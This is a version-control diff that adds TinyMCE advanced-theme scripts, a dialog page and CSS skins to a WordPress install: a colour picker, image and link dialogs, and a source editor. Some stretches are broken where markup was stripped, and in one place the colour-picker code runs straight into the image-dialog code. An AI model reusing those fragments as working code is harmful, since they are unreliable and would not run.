"#330066","#330099","#3300cc","#3300ff","#660000","#660033","#660066","#660099", + "#6600cc","#6600ff","#990000","#990033","#990066","#990099","#9900cc","#9900ff", + "#cc0000","#cc0033","#cc0066","#cc0099","#cc00cc","#cc00ff","#ff0000","#ff0033", + "#ff0066","#ff0099","#ff00cc","#ff00ff","#003300","#003333","#003366","#003399", + "#0033cc","#0033ff","#333300","#333333","#333366","#333399","#3333cc","#3333ff", + "#663300","#663333","#663366","#663399","#6633cc","#6633ff","#993300","#993333", + "#993366","#993399","#9933cc","#9933ff","#cc3300","#cc3333","#cc3366","#cc3399", + "#cc33cc","#cc33ff","#ff3300","#ff3333","#ff3366","#ff3399","#ff33cc","#ff33ff", + "#006600","#006633","#006666","#006699","#0066cc","#0066ff","#336600","#336633", + "#336666","#336699","#3366cc","#3366ff","#666600","#666633","#666666","#666699", + "#6666cc","#6666ff","#996600","#996633","#996666","#996699","#9966cc","#9966ff", + "#cc6600","#cc6633","#cc6666","#cc6699","#cc66cc","#cc66ff","#ff6600","#ff6633", + "#ff6666","#ff6699","#ff66cc","#ff66ff","#009900","#009933","#009966","#009999", + "#0099cc","#0099ff","#339900","#339933","#339966","#339999","#3399cc","#3399ff", + "#669900","#669933","#669966","#669999","#6699cc","#6699ff","#999900","#999933", + "#999966","#999999","#9999cc","#9999ff","#cc9900","#cc9933","#cc9966","#cc9999", + "#cc99cc","#cc99ff","#ff9900","#ff9933","#ff9966","#ff9999","#ff99cc","#ff99ff", + "#00cc00","#00cc33","#00cc66","#00cc99","#00cccc","#00ccff","#33cc00","#33cc33", + "#33cc66","#33cc99","#33cccc","#33ccff","#66cc00","#66cc33","#66cc66","#66cc99", + "#66cccc","#66ccff","#99cc00","#99cc33","#99cc66","#99cc99","#99cccc","#99ccff", + "#cccc00","#cccc33","#cccc66","#cccc99","#cccccc","#ccccff","#ffcc00","#ffcc33", + "#ffcc66","#ffcc99","#ffcccc","#ffccff","#00ff00","#00ff33","#00ff66","#00ff99", + "#00ffcc","#00ffff","#33ff00","#33ff33","#33ff66","#33ff99","#33ffcc","#33ffff", + "#66ff00","#66ff33","#66ff66","#66ff99","#66ffcc","#66ffff","#99ff00","#99ff33", + "#99ff66","#99ff99","#99ffcc","#99ffff","#ccff00","#ccff33","#ccff66","#ccff99", + "#ccffcc","#ccffff","#ffff00","#ffff33","#ffff66","#ffff99","#ffffcc","#ffffff" +]; + +var named = { + '#F0F8FF':'AliceBlue','#FAEBD7':'AntiqueWhite','#00FFFF':'Aqua','#7FFFD4':'Aquamarine','#F0FFFF':'Azure','#F5F5DC':'Beige', + '#FFE4C4':'Bisque','#000000':'Black','#FFEBCD':'BlanchedAlmond','#0000FF':'Blue','#8A2BE2':'BlueViolet','#A52A2A':'Brown', + '#DEB887':'BurlyWood','#5F9EA0':'CadetBlue','#7FFF00':'Chartreuse','#D2691E':'Chocolate','#FF7F50':'Coral','#6495ED':'CornflowerBlue', + '#FFF8DC':'Cornsilk','#DC143C':'Crimson','#00FFFF':'Cyan','#00008B':'DarkBlue','#008B8B':'DarkCyan','#B8860B':'DarkGoldenRod', + '#A9A9A9':'DarkGray','#A9A9A9':'DarkGrey','#006400':'DarkGreen','#BDB76B':'DarkKhaki','#8B008B':'DarkMagenta','#556B2F':'DarkOliveGreen', + '#FF8C00':'Darkorange','#9932CC':'DarkOrchid','#8B0000':'DarkRed','#E9967A':'DarkSalmon','#8FBC8F':'DarkSeaGreen','#483D8B':'DarkSlateBlue', + '#2F4F4F':'DarkSlateGray','#2F4F4F':'DarkSlateGrey','#00CED1':'DarkTurquoise','#9400D3':'DarkViolet','#FF1493':'DeepPink','#00BFFF':'DeepSkyBlue', + '#696969':'DimGray','#696969':'DimGrey','#1E90FF':'DodgerBlue','#B22222':'FireBrick','#FFFAF0':'FloralWhite','#228B22':'ForestGreen', + '#FF00FF':'Fuchsia','#DCDCDC':'Gainsboro','#F8F8FF':'GhostWhite','#FFD700':'Gold','#DAA520':'GoldenRod','#808080':'Gray','#808080':'Grey', + '#008000':'Green','#ADFF2F':'GreenYellow','#F0FFF0':'HoneyDew','#FF69B4':'HotPink','#CD5C5C':'IndianRed','#4B0082':'Indigo','#FFFFF0':'Ivory', + '#F0E68C':'Khaki','#E6E6FA':'Lavender','#FFF0F5':'LavenderBlush','#7CFC00':'LawnGreen','#FFFACD':'LemonChiffon','#ADD8E6':'LightBlue', + '#F08080':'LightCoral','#E0FFFF':'LightCyan','#FAFAD2':'LightGoldenRodYellow','#D3D3D3':'LightGray','#D3D3D3':'LightGrey','#90EE90':'LightGreen', + '#FFB6C1':'LightPink','#FFA07A':'LightSalmon','#20B2AA':'LightSeaGreen','#87CEFA':'LightSkyBlue','#778899':'LightSlateGray','#778899':'LightSlateGrey', + '#B0C4DE':'LightSteelBlue','#FFFFE0':'LightYellow','#00FF00':'Lime','#32CD32':'LimeGreen','#FAF0E6':'Linen','#FF00FF':'Magenta','#800000':'Maroon', + '#66CDAA':'MediumAquaMarine','#0000CD':'MediumBlue','#BA55D3':'MediumOrchid','#9370D8':'MediumPurple','#3CB371':'MediumSeaGreen','#7B68EE':'MediumSlateBlue', + '#00FA9A':'MediumSpringGreen','#48D1CC':'MediumTurquoise','#C71585':'MediumVioletRed','#191970':'MidnightBlue','#F5FFFA':'MintCream','#FFE4E1':'MistyRose','#FFE4B5':'Moccasin', + '#FFDEAD':'NavajoWhite','#000080':'Navy','#FDF5E6':'OldLace','#808000':'Olive','#6B8E23':'OliveDrab','#FFA500':'Orange','#FF4500':'OrangeRed','#DA70D6':'Orchid', + '#EEE8AA':'PaleGoldenRod','#98FB98':'PaleGreen','#AFEEEE':'PaleTurquoise','#D87093':'PaleVioletRed','#FFEFD5':'PapayaWhip','#FFDAB9':'PeachPuff', + '#CD853F':'Peru','#FFC0CB':'Pink','#DDA0DD':'Plum','#B0E0E6':'PowderBlue','#800080':'Purple','#FF0000':'Red','#BC8F8F':'RosyBrown','#4169E1':'RoyalBlue', + '#8B4513':'SaddleBrown','#FA8072':'Salmon','#F4A460':'SandyBrown','#2E8B57':'SeaGreen','#FFF5EE':'SeaShell','#A0522D':'Sienna','#C0C0C0':'Silver', + '#87CEEB':'SkyBlue','#6A5ACD':'SlateBlue','#708090':'SlateGray','#708090':'SlateGrey','#FFFAFA':'Snow','#00FF7F':'SpringGreen', + '#4682B4':'SteelBlue','#D2B48C':'Tan','#008080':'Teal','#D8BFD8':'Thistle','#FF6347':'Tomato','#40E0D0':'Turquoise','#EE82EE':'Violet', + '#F5DEB3':'Wheat','#FFFFFF':'White','#F5F5F5':'WhiteSmoke','#FFFF00':'Yellow','#9ACD32':'YellowGreen' +}; + +function init() { + var inputColor = convertRGBToHex(tinyMCEPopup.getWindowArg('input_color')); + + tinyMCEPopup.resizeToInnerSize(); + + generatePicker(); + + if (inputColor) { + changeFinalColor(inputColor); + + col = convertHexToRGB(inputColor); + + if (col) + updateLight(col.r, col.g, col.b); + } +} + +function insertAction() { + var color = document.getElementById("color").value, f = tinyMCEPopup.getWindowArg('func'); + + tinyMCEPopup.restoreSelection(); + + if (f) + f(color); + + tinyMCEPopup.close(); +} + +function showColor(color, name) { + if (name) + document.getElementById("colorname").innerHTML = name; + + document.getElementById("preview").style.backgroundColor = color; + document.getElementById("color").value = color.toLowerCase(); +} + +function convertRGBToHex(col) { + var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi"); + + if (!col) + return col; + + var rgb = col.replace(re, "$1,$2,$3").split(','); + if (rgb.length == 3) { + r = parseInt(rgb[0]).toString(16); + g = parseInt(rgb[1]).toString(16); + b = parseInt(rgb[2]).toString(16); + + r = r.length == 1 ? '0' + r : r; + g = g.length == 1 ? '0' + g : g; + b = b.length == 1 ? '0' + b : b; + + return "#" + r + g + b; + } + + return col; +} + +function convertHexToRGB(col) { + if (col.indexOf('#') != -1) { + col = col.replace(new RegExp('[^0-9A-F]', 'gi'), ''); + + r = parseInt(col.substring(0, 2), 16); + g = parseInt(col.substring(2, 4), 16); + b = parseInt(col.substring(4, 6), 16); + + return {r : r, g : g, b : b}; + } + + return null; +} + +function generatePicker() { + var el = document.getElementById('light'), h = '', i; + + for (i = 0; i < detail; i++){ + h += '
    '; + } + + el.innerHTML = h; +} + +function generateWebColors() { + var el = document.getElementById('webcolors'), h = '', i; + + if (el.className == 'generated') + return; + + h += '' + + ''; + + for (i=0; i' + + '' + + ''; + if ((i+1) % 18 == 0) + h += ''; + } + + h += '
    '; + + el.innerHTML = h; + el.className = 'generated'; +} + +function generateNamedColors() { + var el = document.getElementById('namedcolors'), h = '', n, v, i = 0; + + if (el.className == 'generated') + return; + + for (n in named) { + v = named[n]; + h += '' + } + + el.innerHTML = h; + el.className = 'generated'; +} + +function dechex(n) { + return strhex.charAt(Math.floor(n / 16)) + strhex.charAt(n % 16); +} + +function computeColor(e) { + var x, y, partWidth, partDetail, imHeight, r, g, b, coef, i, finalCoef, finalR, finalG, finalB; + + x = e.offsetX ? e.offsetX : (e.target ? e.clientX - e.target.x : 0); + y = e.offsetY ? e.offsetY : (e.target ? e.clientY - e.target.y : 0); + + partWidth = document.getElementById('colors').width / 6; + partDetail = detail / 2; + imHeight = document.getElementById('colors').height; + + r = (x >= 0)*(x < partWidth)*255 + (x >= partWidth)*(x < 2*partWidth)*(2*255 - x * 255 / partWidth) + (x >= 4*partWidth)*(x < 5*partWidth)*(-4*255 + x * 255 / partWidth) + (x >= 5*partWidth)*(x < 6*partWidth)*255; + g = (x >= 0)*(x < partWidth)*(x * 255 / partWidth) + (x >= partWidth)*(x < 3*partWidth)*255 + (x >= 3*partWidth)*(x < 4*partWidth)*(4*255 - x * 255 / partWidth); + b = (x >= 2*partWidth)*(x < 3*partWidth)*(-2*255 + x * 255 / partWidth) + (x >= 3*partWidth)*(x < 5*partWidth)*255 + (x >= 5*partWidth)*(x < 6*partWidth)*(6*255 - x * 255 / partWidth); + + coef = (imHeight - y) / imHeight; + r = 128 + (r - 128) * coef; + g = 128 + (g - 128) * coef; + b = 128 + (b - 128) * coef; + + changeFinalColor('#' + dechex(r) + dechex(g) + dechex(b)); + updateLight(r, g, b); +} + +function updateLight(r, g, b) { + var i, partDetail = detail / 2, finalCoef, finalR, finalG, finalB, color; + + for (i=0; i=0) && (i'); + }, + + init : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor; + + // Setup browse button + document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); + if (isVisible('srcbrowser')) + document.getElementById('src').style.width = '180px'; + + e = ed.selection.getNode(); + + this.fillFileList('image_list', 'tinyMCEImageList'); + + if (e.nodeName == 'IMG') { + f.src.value = ed.dom.getAttrib(e, 'src'); + f.alt.value = ed.dom.getAttrib(e, 'alt'); + f.border.value = this.getAttrib(e, 'border'); + f.vspace.value = this.getAttrib(e, 'vspace'); + f.hspace.value = this.getAttrib(e, 'hspace'); + f.width.value = ed.dom.getAttrib(e, 'width'); + f.height.value = ed.dom.getAttrib(e, 'height'); + f.insert.value = ed.getLang('update'); + f.class_name.value = ed.dom.getAttrib(e, 'class'); + this.styleVal = ed.dom.getAttrib(e, 'style'); + selectByValue(f, 'image_list', f.src.value); + selectByValue(f, 'align', this.getAttrib(e, 'align')); + this.updateStyle(); + } + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = window[l]; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + update : function() { + var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, args = {}, el; + + tinyMCEPopup.restoreSelection(); + + if (f.src.value === '') { + if (ed.selection.getNode().nodeName == 'IMG') { + ed.dom.remove(ed.selection.getNode()); + ed.execCommand('mceRepaint'); + } + + tinyMCEPopup.close(); + return; + } + + if (!ed.settings.inline_styles) { + args = tinymce.extend(args, { + vspace : nl.vspace.value, + hspace : nl.hspace.value, + border : nl.border.value, + align : getSelectValue(f, 'align') + }); + } else + args.style = this.styleVal; + + tinymce.extend(args, { + src : f.src.value, + alt : f.alt.value, + width : f.width.value, + height : f.height.value, + 'class' : f.class_name.value + }); + + el = ed.selection.getNode(); + + if (el && el.nodeName == 'IMG') { + ed.dom.setAttribs(el, args); + } else { + ed.execCommand('mceInsertContent', false, '', {skip_undo : 1}); + ed.dom.setAttribs('__mce_tmp', args); + ed.dom.setAttrib('__mce_tmp', 'id', ''); + ed.undoManager.add(); + } + + tinyMCEPopup.close(); + }, + + updateStyle : function() { + var dom = tinyMCEPopup.dom, st, v, cls, oldcls, rep, f = document.forms[0]; + + if (tinyMCEPopup.editor.settings.inline_styles) { + st = tinyMCEPopup.dom.parseStyle(this.styleVal); + + // Handle align + v = getSelectValue(f, 'align'); + cls = f.class_name.value || ''; + cls = cls ? cls.replace(/alignright\s*|alignleft\s*|aligncenter\s*/g, '') : ''; + cls = cls ? cls.replace(/^\s*(.+?)\s*$/, '$1') : ''; + if (v) { + if (v == 'left' || v == 'right') { + st['float'] = v; + delete st['vertical-align']; + oldcls = cls ? ' '+cls : ''; + f.class_name.value = 'align' + v + oldcls; + } else { + st['vertical-align'] = v; + delete st['float']; + f.class_name.value = cls; + } + } else { + delete st['float']; + delete st['vertical-align']; + f.class_name.value = cls; + } + + // Handle border + v = f.border.value; + if (v || v == '0') { + if (v == '0') + st['border'] = '0'; + else + st['border'] = v + 'px solid black'; + } else + delete st['border']; + + // Handle hspace + v = f.hspace.value; + if (v) { + delete st['margin']; + st['margin-left'] = v + 'px'; + st['margin-right'] = v + 'px'; + } else { + delete st['margin-left']; + delete st['margin-right']; + } + + // Handle vspace + v = f.vspace.value; + if (v) { + delete st['margin']; + st['margin-top'] = v + 'px'; + st['margin-bottom'] = v + 'px'; + } else { + delete st['margin-top']; + delete st['margin-bottom']; + } + + // Merge + st = tinyMCEPopup.dom.parseStyle(dom.serializeStyle(st)); + this.styleVal = dom.serializeStyle(st); + } + }, + + getAttrib : function(e, at) { + var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; + + if (ed.settings.inline_styles) { + switch (at) { + case 'align': + if (v = dom.getStyle(e, 'float')) + return v; + + if (v = dom.getStyle(e, 'vertical-align')) + return v; + + break; + + case 'hspace': + v = dom.getStyle(e, 'margin-left') + v2 = dom.getStyle(e, 'margin-right'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'vspace': + v = dom.getStyle(e, 'margin-top') + v2 = dom.getStyle(e, 'margin-bottom'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'border': + v = 0; + + tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { + sv = dom.getStyle(e, 'border-' + sv + '-width'); + + // False or not the same as prev + if (!sv || (sv != v && v !== 0)) { + v = 0; + return false; + } + + if (sv) + v = sv; + }); + + if (v) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + } + } + + if (v = dom.getAttrib(e, at)) + return v; + + return ''; + }, + + resetImageData : function() { + var f = document.forms[0]; + + f.width.value = f.height.value = ""; + }, + + updateImageData : function() { + var f = document.forms[0], t = ImageDialog; + + if (f.width.value == "") + f.width.value = t.preloadImg.width; + + if (f.height.value == "") + f.height.value = t.preloadImg.height; + }, + + getImageData : function() { + var f = document.forms[0]; + + this.preloadImg = new Image(); + this.preloadImg.onload = this.updateImageData; + this.preloadImg.onerror = this.resetImageData; + this.preloadImg.src = tinyMCEPopup.editor.documentBaseURI.toAbsolute(f.src.value); + } +}; + +ImageDialog.preInit(); +tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/js/link.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/js/link.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,156 @@ +tinyMCEPopup.requireLangPack(); + +var LinkDialog = { + preInit : function() { + var url; + + if (url = tinyMCEPopup.getParam("external_link_list_url")) + document.write(''); + }, + + init : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor; + + // Setup browse button + document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser', 'href', 'file', 'theme_advanced_link'); + if (isVisible('hrefbrowser')) + document.getElementById('href').style.width = '180px'; + + this.fillClassList('class_list'); + this.fillFileList('link_list', 'tinyMCELinkList'); + this.fillTargetList('target_list'); + + if (e = ed.dom.getParent(ed.selection.getNode(), 'A')) { + f.href.value = ed.dom.getAttrib(e, 'href'); + f.linktitle.value = ed.dom.getAttrib(e, 'title'); + f.insert.value = ed.getLang('update'); + selectByValue(f, 'link_list', f.href.value); + selectByValue(f, 'target_list', ed.dom.getAttrib(e, 'target')); + selectByValue(f, 'class_list', ed.dom.getAttrib(e, 'class')); + } + }, + + update : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor, e, b; + + tinyMCEPopup.restoreSelection(); + e = ed.dom.getParent(ed.selection.getNode(), 'A'); + + // Remove element if there is no href + if (!f.href.value) { + if (e) { + tinyMCEPopup.execCommand("mceBeginUndoLevel"); + b = ed.selection.getBookmark(); + ed.dom.remove(e, 1); + ed.selection.moveToBookmark(b); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + return; + } + } + + tinyMCEPopup.execCommand("mceBeginUndoLevel"); + + // Create new anchor elements + if (e == null) { + ed.getDoc().execCommand("unlink", false, null); + tinyMCEPopup.execCommand("CreateLink", false, "#mce_temp_url#", {skip_undo : 1}); + + tinymce.each(ed.dom.select("a"), function(n) { + if (ed.dom.getAttrib(n, 'href') == '#mce_temp_url#') { + e = n; + + ed.dom.setAttribs(e, { + href : f.href.value, + title : f.linktitle.value, + target : f.target_list ? getSelectValue(f, "target_list") : null, + 'class' : f.class_list ? getSelectValue(f, "class_list") : null + }); + } + }); + } else { + ed.dom.setAttribs(e, { + href : f.href.value, + title : f.linktitle.value, + target : f.target_list ? getSelectValue(f, "target_list") : null, + 'class' : f.class_list ? getSelectValue(f, "class_list") : null + }); + } + + // Don't move caret if selection was image + if (e.childNodes.length != 1 || e.firstChild.nodeName != 'IMG') { + ed.focus(); + ed.selection.select(e); + ed.selection.collapse(0); + tinyMCEPopup.storeSelection(); + } + + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + }, + + checkPrefix : function(n) { + if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_email'))) + n.value = 'mailto:' + n.value; + + if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_external'))) + n.value = 'http://' + n.value; + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = window[l]; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillClassList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { + cl = []; + + tinymce.each(v.split(';'), function(v) { + var p = v.split('='); + + cl.push({'title' : p[0], 'class' : p[1]}); + }); + } else + cl = tinyMCEPopup.editor.dom.getClasses(); + + if (cl.length > 0) { + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + + tinymce.each(cl, function(o) { + lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillTargetList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v; + + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_same'), '_self'); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_blank'), '_blank'); + + if (v = tinyMCEPopup.getParam('theme_advanced_link_targets')) { + tinymce.each(v.split(','), function(v) { + v = v.split('='); + lst.options[lst.options.length] = new Option(v[0], v[1]); + }); + } + } +}; + +LinkDialog.preInit(); +tinyMCEPopup.onInit.add(LinkDialog.init, LinkDialog); diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/js/source_editor.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/js/source_editor.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,62 @@ +tinyMCEPopup.requireLangPack(); +tinyMCEPopup.onInit.add(onLoadInit); + +function saveContent() { + tinyMCEPopup.editor.setContent(document.getElementById('htmlSource').value, {source_view : true}); + tinyMCEPopup.close(); +} + +function onLoadInit() { + tinyMCEPopup.resizeToInnerSize(); + + // Remove Gecko spellchecking + if (tinymce.isGecko) + document.body.spellcheck = tinyMCEPopup.editor.getParam("gecko_spellcheck"); + + document.getElementById('htmlSource').value = tinyMCEPopup.editor.getContent({source_view : true}); + + if (tinyMCEPopup.editor.getParam("theme_advanced_source_editor_wrap", true)) { + setWrap('soft'); + document.getElementById('wraped').checked = true; + } + + resizeInputs(); +} + +function setWrap(val) { + var v, n, s = document.getElementById('htmlSource'); + + s.wrap = val; + + if (!tinymce.isIE) { + v = s.value; + n = s.cloneNode(false); + n.setAttribute("wrap", val); + s.parentNode.replaceChild(n, s); + n.value = v; + } +} + +function toggleWordWrap(elm) { + if (elm.checked) + setWrap('soft'); + else + setWrap('off'); +} + +var wHeight=0, wWidth=0, owHeight=0, owWidth=0; + +function resizeInputs() { + var el = document.getElementById('htmlSource'); + + if (!tinymce.isIE) { + wHeight = self.innerHeight - 65; + wWidth = self.innerWidth - 16; + } else { + wHeight = document.body.clientHeight - 70; + wWidth = document.body.clientWidth - 16; + } + + el.style.height = Math.abs(wHeight) + 'px'; + el.style.width = Math.abs(wWidth) + 'px'; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/link.htm --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/link.htm Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,63 @@ + + + + {#advanced_dlg.link_title} + + + + + + + +
    + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + +
    + + + + +
     
    +
    +
    + +
    +
    + +
    + +
    + +
    +
    +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/default/content.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/skins/default/content.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,32 @@ +body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;} +body {background:#FFF;} +body.mceForceColors {background:#FFF; color:#000;} +h1 {font-size: 2em} +h2 {font-size: 1.5em} +h3 {font-size: 1.17em} +h4 {font-size: 1em} +h5 {font-size: .83em} +h6 {font-size: .75em} +.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} +a.mceItemAnchor {width:12px; line-height:6px; overflow:hidden; padding-left:12px; background:url(img/items.gif) no-repeat bottom left;} +img.mceItemAnchor {width:12px; height:12px; background:url(img/items.gif) no-repeat;} +img {border:0;} +table {cursor:default} +table td, table th {cursor:text} +ins {border-bottom:1px solid green; text-decoration: none; color:green} +del {color:red; text-decoration:line-through} +cite {border-bottom:1px dashed blue} +acronym {border-bottom:1px dotted #CCC; cursor:help} +abbr, html\:abbr {border-bottom:1px dashed #CCC; cursor:help} + +/* IE */ +* html body { +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/js/tinymce/themes/advanced/skins/default/dialog.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/js/tinymce/themes/advanced/skins/default/dialog.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,116 @@ +/* Generic */ +body { +font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; +scrollbar-3dlight-color:#F0F0EE; +scrollbar-arrow-color:#676662; +scrollbar-base-color:#F0F0EE; +scrollbar-darkshadow-color:#DDDDDD; +scrollbar-face-color:#E0E0DD; +scrollbar-highlight-color:#F0F0EE; +scrollbar-shadow-color:#F0F0EE; +scrollbar-track-color:#F5F5F5; +background:#F0F0EE; +padding:0; +margin:8px 8px 0 8px; +} + +html {background:#F0F0EE;} +td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +textarea {resize:none;outline:none;} +a:link, a:visited {color:black;} +a:hover {color:#2B6FB6;} +.nowrap {white-space: nowrap} + +/* Forms */ +fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;} +legend {color:#2B6FB6; font-weight:bold;} +label.msg {display:none;} +label.invalid {color:#EE0000; display:inline;} +input.invalid {border:1px solid #EE0000;} +input {background:#FFF; border:1px solid #CCC;} +input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} +input, select, textarea {border:1px solid #808080;} +input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} +input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} +.input_noborder {border:0;} + +/* Buttons */ +#insert, #cancel, input.button, .updateButton { +border:0; margin:0; padding:0; +font-weight:bold; +width:94px; height:26px; +background:url(img/buttons.png) 0 -26px; +cursor:pointer; +padding-bottom:2px; +} + +#insert {background:url(img/buttons.png) 0 -52px;} +#cancel {background:url(img/buttons.png) 0 0;} + +/* Browse */ +a.pickcolor, a.browse {text-decoration:none} +a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} +.mceOldBoxModel a.browse span {width:22px; height:20px;} +a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} +a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} +a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} +a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} +.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} +a.pickcolor:hover span {background-color:#B2BBD0;} +a.pickcolor:hover span.disabled {} + +/* Charmap */ +table.charmap {border:1px solid #AAA; text-align:center} +td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} +#charmap a {display:block; color:#000; text-decoration:none; border:0} +#charmap a:hover {background:#CCC;color:#2B6FB6} +#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} +#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} + +/* Source */ +.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} +.mceActionPanel {margin-top:5px;} + +/* Tabs classes */ +.tabs {width:100%; height:18px; line-height:normal; background:url(img/tabs.gif) repeat-x 0 -72px;} +.tabs ul {margin:0; padding:0; list-style:none;} +.tabs li {float:left; background:url(img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} +.tabs li.current {background:url(img/tabs.gif) no-repeat 0 -18px; margin-right:2px;} +.tabs span {float:left; display:block; background:url(img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;} +.tabs .current span {background:url(img/tabs.gif) no-repeat right -54px;} +.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} +.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} + +/* Panels */ +.panel_wrapper div.panel {display:none;} +.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} +.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} + +/* Columns */ +.column {float:left;} +.properties {width:100%;} +.properties .column1 {} +.properties .column2 {text-align:left;} + +/* Titles */ +h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} +h3 {font-size:14px;} +.title {font-size:12px; font-weight:bold; color:#2B6FB6;} + +/* Dialog specific */ +#link .panel_wrapper, #link div.current {height:125px;} +#image .panel_wrapper, #image div.current {height:200px;} +#plugintable thead {font-weight:bold; background:#DDD;} +#plugintable, #about #plugintable td {border:1px solid #919B9C;} +#plugintable {width:96%; margin-top:10px;} +#pluginscontainer {height:290px; overflow:auto;} +#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} +#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} +#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} +#colorpicker #light div {overflow:hidden;} +#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} +#colorpicker .panel_wrapper div.current {height:175px;} +#colorpicker #namedcolors {width:150px;} +#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 